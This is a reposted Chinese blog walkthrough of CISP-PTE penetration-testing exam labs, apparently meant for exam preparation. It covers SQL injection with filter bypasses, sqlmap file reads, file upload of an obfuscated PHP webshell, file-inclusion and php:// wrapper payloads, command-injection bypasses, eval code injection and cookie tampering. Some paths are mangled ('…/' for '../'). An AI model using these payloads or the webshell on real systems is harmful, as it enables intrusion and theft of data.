CISP-PTE实操练习题讲解一(新版)

Posted 炫彩@之星

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE实操练习题讲解一(新版)相关的知识,希望对你有一定的参考价值。

CISP-PTE实操练习题讲解一(新版)

文章目录

前言

最近已经考完PTE的考试了,总体来说,难度较大,对于我学渗透测试快一年来说,基础还算不错的,但是最后还是因为没有接触过一些新题型,导致最后的key没有做出来,不过最后还是加上选择题的分数,刚刚过的,今天,我给大家总结一下,在培训过程中讲的第一套题的新的解题方法。希望对以后有需要考PTE的同学有帮助,后续会讲第二套和综合题的解法,大家好好复习一下哈。

一、CISP-PTE考试感悟

CISP-PTE的考试圆满的结束了,考试难度的话,选择题比较简单,当基础题SQL注入比较难,是个登录系统,用弱口令,万能密码,都不能登录进去,因为答案的key就在根目录下,用sqlmap去读文件的时候,也跑不出来,就放弃了。然后把其余4道都写了,都比较简单,不是很难。但是综合题真的很难,考的是Linux环境下的综合题,考试预测可能是win2008或者Linux的环境,但是刚好那天我们是分批考的,上午考的Linux,下午考的是win2008的环境,所以我做的时候非常痛苦,硬着头皮把前两个key拿到就跑路了,第一个key是连接数据库后,修改网站后台密码,登录进去得到的key。第二个就是通过文件包含和伪协议base64编码得到的,第三个就是的key蚁剑连接在key目录下,进行提权才可以拿到,最后因为蚁剑怎么都传不上去,就放弃了。所以就拿到两个key,就跑路了。最后就是选择题比较简单,拿到了17分。总体就是,最后拿到了6个key+17分,低分飘过了。实在是实属不易啊,最后,会开始着手软考信安方向的复习了。以后,如果比毕业工作了,有经济的话,会继续考虑一些信息安全方面的证书的。听老师说,逆向方面的工作挺不错,不过要学好汇编才行,以后如果有时间的话,会好好学一下逆向方面的知识,多一条技术,为以后工作多一条出路,大家趁大学时候,抓紧学习,增强自己的实力呀,为以后就业有更好的铺垫。好了,考试的情况就跟大家讲到这里了,以后有机会的话,会跟大家分享更多考试相关的经验和渗透相关的知识哈。下面是我在实操练习中对之前的套题做一次新的讲解,知识点会更全面,对考试都会有帮助的。

二、CISP-PTE实操练习题讲解(一)

1. SQL注入

(1)第一种解法


我们进入答题,通过提示,答案就在这个/tmp/360/key路径下
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1

标题中有提示注入的地方,id号有存在括号注入,我注入的时候就要加上括号
select * from article where id= (‘1’)

我们在后面加上’),发现报错
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’)

没有回显,在加上单引号,出现了回显

说明存在SQL注入,我们在看看是否存在过滤点,当我们判断地段个数时,注入以下语句时
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’) order by 4–

回显出这个语句,说明空格被过滤了
select * from article where id= (‘1’)orderby4–‘)

我们用注释符将空格进行绕过,将后面(-- )换成#进行绕过


没有回显,说明#号也被过滤了,我们在修改为base64编码进行绕过试试,修改为以下语句


发现报错了,可能不是这个字段数,修改为4时


发生了回显,说明存在4个字段,先绕过了,我们用联合查询,查一下数据看看


报错,且没有显示union字段,说明union关键字被过滤了,我们双写进行绕过试试


回显成功了,绕过成功了,我们将id=1赋值为id=-1进行报错,回显看看


2,3,4是回显位置,我们用位置(2)进行注入看看,这里用到读文件的函数load_file(’/tmp/360/key’)


回显成功了,得到key就是key:8b3h4a7v。这道题主要是过滤了空格和注释符#的过滤,以及union关键字的过滤。

(2)第二种解法

当然,此题,也可以用sqlmap去解。直接调用–file-read,和tamper脚本进行读文件就可以了。

我们打开sqlmap,写入一下语句执行
python sqlmap.py -u “http://192.168.230.131:81/vulnerabilities/fu1.php?id=1” --file-read=/tmp/360/key --tamper “space2hash.py” -level 3 -batch


读到的key文件就在图中黄色的路径中了,我们只需要去查看就可以了,找到当前w文件的路径
C:\\Users\\CISP-PTE\\AppData\\Local\\sqlmap\\output\\192.168.230.131\\files


我们就拿到key了。

2. 文件上传

(1)http://192.168.230.131:82/vulnerabilities/fu1.php

我们进入答题

我们在桌面新建一个包含读文件代码的图片,进行上传
GIF89a

<?php echo file_get_contents('../key.php');?>



打开代理,利用burp进行抓包上传

发送到reperter,修改后缀名为.php,进行重发

发现没有上传成功,说明php内过滤了,我们双写或改成.php3绕过试试

修稿为.php3之后,上传成功了,我们查看一下文件试试
http://192.168.230.131:82/vulnerabilities/b.php3

我们打开源代码看看

我们就拿到了key:8t5s0x5t。

这里我总结几种读文件的方法给大家:

<?php readfile('../key.php');?> <?php highlight_file('../key.php');?> <?php echo file_get_contents('../key.php');?>

这里还有一种解法,就是写一句话木马在文件中,然后上传,用蚁剑连接,查看根目录下的key文件就可以了,这里就不介绍了,大家可以尝试一下。

3. 文件包含

http://192.168.230.131:83

进入答题后
http://192.168.230.131:83/vulnerabilities/fu1.php?file=view.html

看到文件包含漏洞,我们首先想到的是伪协议是否能读出来,还有base64编码是否可以,以及远程包含上一题中文件上传时的照片,都试一下各个方法是否行的通。

答案就在根目录下,我们直接构造语句就可以了,就是在…/key目录下,首先我们利用伪协议试试
data:/text/plain,<?php readfile('../key.php');?>

http://192.168.230.131:83/vulnerabilities/fu1.php?file=data:/text/plain,<?php readfile('../key.php');?>

右键查看我们源码即可

我们成功拿到了key:6u3x9t2p。

类似的
我们可以使用以下伪协议:
data:text/plain,<?php readfile('../key.php');?>
data://text/plain,<?php readfile('../key.php');?>
data:,<?php readfile('../key.php');?>

(2)还有php://input方法,我们进行抓包,在file那里输入php://input和在get请求下面输入读文件的代码,就可以直接读出key了

(3)还有一种方法就是进行base64编码进行读文件
php://filter/convert.base64-encode/resource=…/key.php

http://192.168.230.131:83/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=…/key.php

我们读到了一段base64的编码
R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
通过解码之后,为以下语句
Get it!

<?php //key:6u3x9t2p ?>

我们就得到了key:6u3x9t2p。
(4)此题还有另一种解法,就是进行远程文件包含,而且是包含上一题的图片文件
http://192.168.230.131:83/vulnerabilities/fu1.php?file=http://192.168.230.131:82/vulnerabilities/b.php3

我们也找到了key:8t5s0x5t。

4. 命令执行

http://192.168.230.131:84

我们进入答题
http://192.168.230.131:84/vulnerabilities/fu1.php

我们来测试一下管道符哪个被过滤了&,|,;三个管道符测试了之后都没有显示错误,说明都没有被过滤,都测试了之后,都没有报错,说明都没有被过滤

我们直接读取文件
| cat …/key.php

发现cat被过滤了,我们用特殊符号绕过一下,输入| c’a’t …/key.php


我们右键查看源码

我们就拿到了key:3s9j6c2k。我们还可以用tac来读取文件。


直接就读到key了。

我给大家总结了读文件的命令:
cat more less head tail sort tac vi vim nl od xxd cp awk nano curl

危险函数
system()
exec()
passthru()
shell_exec
pcntl_exec()
preg_replace()

解题方法:
&head …/key.p?p–右键–查看源码
&od -c …/key.p?p
3.绕过cat检测
a.? 任意单个字符
&/bin/c?t …/key.p?p-查看源码
b.* 任意长度的字符
&/bin/c*t …/key.p?p
c.单引号
&/bin/c’a’t …/key.p?p
d.双引号
&/bin/c"a"t …/key.p?p
e.
&/bin/c\\a\\t …/key.p?p
f:赋值
&a=c;b=at; a a ab …/key.p?p
过滤cat:php cat–绕过
&/bin/c"a"t …/key.p?p

5. 日志分析

http://192.168.230.131:85/

http://192.168.230.131:85/access.log

我们先查127.16.12.12的地址,在查看返回200状态码的地址,我们按Ctrl+F键进行搜索


我们找到这个文件进行打开登录

会出现这个登录页面

我们进行账号和密码爆破,我们使用两个账号和密码字典进行爆破,得到账号和密码是:admin,password123


我们就拿到了key:9y6u8s5m。

6. 代码审计

http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html

我们查看一下源代码
http://192.168.230.131:83/vulnerabilities/code.html

<?php if (isset($_GET['cmd']) && strlen($_GET['cmd']) <=30) @exec($_GET['cmd']); ?>

提交方法:get
参数:cmd
长度小于等于30
执行:exec 没有回显

&cmd=echo “<?php eval($_POST['a']);?>”>a.php
由于长度限制是30,所以无法写入一句话

我们可以使用重定向到a.txt文件,然后打开a.txt文件进行查看内容。
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=ls …/>a.txt

我们查看a.txt文件查看
http://192.168.230.131:83/vulnerabilities/a.txt

我们查看key.php文件的内容
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=cat …/key.php>a.txt

我们就拿到了key:6u3x9t2p。

7. 代码审计(2)

http://192.168.230.131:83/vulnerabilities/fu1.php?file=view1.html

我们查看一下源码
http://192.168.230.131:83/vulnerabilities/view1.html

<?php @$a = $_POST['Hello']; if(isset($a)) @preg_replace("/\\[(.*)\\]/e",'\\\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')); ?>

在这里我们可以看到有一个经过base64编码的一句话,我们先来j解码看看是什么先
W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=
解码后:[@eval(base64_decode($_POST[z0]));]
发现是一句话

我们用蚁剑连接看看,密码是z0

这里提示z0不能是密码

我们看一下源码中的@$a = $_POST[‘Hello’]; ,是要提示我们用也可以用Hello进行登录,我们在试试。
这里由于环境的问题,是连接不上去的,当我们可以采用另一种方法,用post方法提交试试。

我们提交参数,进行赋值,查看一下根目录的文件有哪,输入一下语句:
Hello=a&z0=system(‘ls …/’);
再对z0后面的语句进行编码
Hello=a&z0=c3lzdGVtKCdscyAuLi8nKTs=

有key.php文件,我们查看一下
Hello=a&z0=system(‘cat …/key.php’);
编码后:
Hello=a&z0=c3lzdGVtKCcuLi9rZXkucGhwJyk7

右键查看源码即可

我们就拿到了key:6u3x9t2p。

总结

在这里我们就讲解完了第一套题了,另外多了两套代码审计的题,作为扩展练习,大家可以看一下,篇幅有点长,几乎把每道题说设计的知识点都讲的很详细了。接下来会讲解第二套题,也是历年考试考过的题目,大家好好复习一下。

CISP-PTE学习总结之基础练习题

文章目录

基础题目一:SQL注入

0x01 题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

0x02 解题过程

第一步 访问首页

在登录得地方,尝试万能密码,进不去,发现不回显
在注册得地方,也没有发现回显
直接注册一个用户

第二步 通过注册得账号进入,有个文章发表的地方

发表一篇文章,

发现回显数据库语句

insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')

思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看

123456','123admin'),('123456','2','3 发现字段2和3能够回显
1','123admin'),('1',database(),'select version() 发现空格被过滤
1','123admin'),('1',database(),'3' 有回显
1','123admin'),('1',select/**/version(),'3' 通过注释进行过滤

查看发表成功得文章

insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')
发表了两篇文章

1','123admin'),('1',database(),'select version()

查看回显

第三步 构造闭合,查看回显

1','123admin'),('1',(select/**/version()),'3 通过注释进行过滤

查看发布的文章

第四步 查看当前数据库下面得表名

1','123admin'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3
添加注释/**/
1','123admin'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3

article,article1,users1

第五步 查询user1表中得字段名称

1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3
注释后的
1','123admin'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3

password,username,XremarkX4354

第六步 查询user1表中username、password的字段值

1','123'),('1',(select password from users1 limit 0,1),'3
注释后
1','123admin'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3


依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看

发现不在密码字段,继续查询

1','123admin'),('1',(select/**/XremarkX4354/**/from/**/users1/**/limit/**/0,1),'3


0x03 解题总结

基础题目二:文件上传突破

0x01 题目要求

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 进入首页 进行抓取

第二步 更改数据包,基于内容的文件头检测,是否为图片格式

POST /start/ HTTP/1.1
Host: 150.158.27.164:1082
Content-Length: 793
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://150.158.27.164:1082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyEOMrHfE69zoK0wE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://150.158.27.164:1082/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl
Connection: close

------WebKitFormBoundaryyEOMrHfE69zoK0wE
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpeg

GIF89a
<?php $Oyuo=create_function(base64_decode('JA==').chr(765-650).base64_decode('bw==').str_rot13('z').chr(01443-01276),str_rot13('r').str_rot13('i').str_rot13('n').chr(429-321).chr(0x9880/0x3d0).str_rot13('$').chr(0x1ad01/0x3bb).base64_decode('bw==').chr(0xf4-0x87).base64_decode('ZQ==').chr(050605/0775).str_rot13(';'));$Oyuo(base64_decode('MTI5O'.'DM4O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200016/01666).base64_decode('OQ==').chr(0x68ac/0x13f).chr(0xc0d4/0x23e).''.''.chr(49980/714).str_rot13('g').chr(065004/0346).str_rot13('D').str_rot13('z').''.'tNTFZ'.'rVV0p'.'OzM4O'.'TUxND'.'s='.''));?>
------WebKitFormBoundaryyEOMrHfE69zoK0wE--

第三步 进行连接

http://150.158.27.164:1082/123.php
---------------------------

<?php // 使用时请删除此行, 连接密码: oBkMLVkU ?>
<?php $Oyuo=create_function(base64_decode('JA==').chr(765-650).base64_decode('bw==').str_rot13('z').chr(01443-01276),str_rot13('r').str_rot13('i').str_rot13('n').chr(429-321).chr(0x9880/0x3d0).str_rot13('$').chr(0x1ad01/0x3bb).base64_decode('bw==').chr(0xf4-0x87).base64_decode('ZQ==').chr(050605/0775).str_rot13(';'));$Oyuo(base64_decode('MTI5O'.'DM4O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200016/01666).base64_decode('OQ==').chr(0x68ac/0x13f).chr(0xc0d4/0x23e).''.''.chr(49980/714).str_rot13('g').chr(065004/0346).str_rot13('D').str_rot13('z').''.'tNTFZ'.'rVV0p'.'OzM4O'.'TUxND'.'s='.''));?>

0x03 解题总结

基础题目三:文件包含

0x01 题目要求

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 先使用本地包含,发现可以成功

http://150.158.27.164:1083/start/index.php?page=/etc/passwd

第二步 使用php://filter协议进行包含,双写绕过

GET /start/index.php?page=php:/php:///filter/read=convert.base64-encode/resource=../key.php HTTP/1.1
Host: 150.158.27.164:1083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: IsAdmin=false; Username=R3Vlc3Q%3D
Connection: close

http://150.158.27.164:1083/start/index.php?page=php:/php:///filter/read=convert.base64-encode/resource=../key.php


0x03 解题总结

基础题目四:代码执行漏洞

0x01 题目要求

代码执行漏洞是指没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。

0x02 解题过程

第一步 查看网页源代码

<?php
error_reporting(0);
include "key4.php";//本地存在key4.php文件,进行包含
$a=$_GET['a'];//使用get,传入参数a的数值
eval("\\$o=strtolower(\\"$a\\");");//使用eval函数进行输出,对输入的变量值进行小写转换函数,赋值给变量o
echo $o;//输出小写转换后的a的值
show_source(__FILE__); //输出显示本网页源代码

通过分析,这个文件包含了key4.php文件,使用get请求方式传入参数a,然后通过字符串转换函数strtolower(),执行eval()函数输出,最后一行是输入源代码。

第二步 构造函数闭合,执行命令
先使用:)使得strtolower()函数闭合,然后执行命令system();最后注释闭合整行

a=");system("cat key4.php");//
?a=");system("cat%20key4.php");//

0x03 解题总结

基础题目五:失效的访问控制

0x01 题目要求

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY

0x02 解题过程

第一步 访问页面,提示当前用户guest,权限不够

第二步 抓取数据包,进行cookie信息解码,发现cookie信息可修改

Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=false; Username=R3Vlc3Q%3D


第三步 通过更改cookie的认证信息,重放数据包

admin--base64编码:YWRtaW4=
更改后的值:
Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=true; Username=YWRtaW4%3D

0x03 解题总结

摘抄


学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。
学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。
唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。
—《不断学习》


以上是关于CISP-PTE实操练习题讲解一(新版)的主要内容,如果未能解决你的问题,请参考以下文章

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

CISP-PTE学习总结之基础练习题

拿来吧你!CISP-PTE渗透基础测试题自测

CISP-PTE学习总结之基础练习题